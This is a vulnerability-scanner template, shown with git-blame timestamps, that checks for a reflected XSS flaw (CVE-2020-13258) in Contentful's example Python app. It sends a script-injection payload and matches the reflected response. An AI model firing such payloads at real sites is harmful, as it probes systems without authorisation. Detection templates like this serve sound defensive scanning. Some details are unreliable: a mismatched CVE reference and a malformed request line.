2022-01-07 02:49:47 +00:00
|
|
|
id: CVE-2020-13258
|
|
|
|
|
|
|
|
info:
|
2022-09-08 10:39:45 +00:00
|
|
|
name: Contentful - Reflected XSS
|
2022-01-07 02:49:47 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: medium
|
2022-09-08 10:39:45 +00:00
|
|
|
description: |
|
|
|
|
Contentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.
|
|
|
|
reference:
|
|
|
|
- https://github.com/contentful/the-example-app.py/issues/44
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
|
2022-09-08 11:01:24 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2020-13258
|
|
|
|
cwe-id: CWE-79
|
2022-01-07 02:49:47 +00:00
|
|
|
tags: cve,cve2020,contentful,xss
|
2022-01-07 07:34:40 +00:00
|
|
|
|
2022-01-07 02:49:47 +00:00
|
|
|
requests:
|
2022-01-07 07:34:40 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
2022-09-08 10:39:45 +00:00
|
|
|
GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
|
2022-01-07 07:34:40 +00:00
|
|
|
Host: {{Hostname}}
|
2022-01-07 02:49:47 +00:00
|
|
|
|
2022-09-08 10:39:45 +00:00
|
|
|
matchers-condition: and
|
2022-01-07 02:49:47 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-09-08 10:39:45 +00:00
|
|
|
- "{'api': '"
|
2022-09-08 10:41:35 +00:00
|
|
|
- "</script><script>alert(document.domain)</script>',"
|
2022-09-08 10:39:45 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|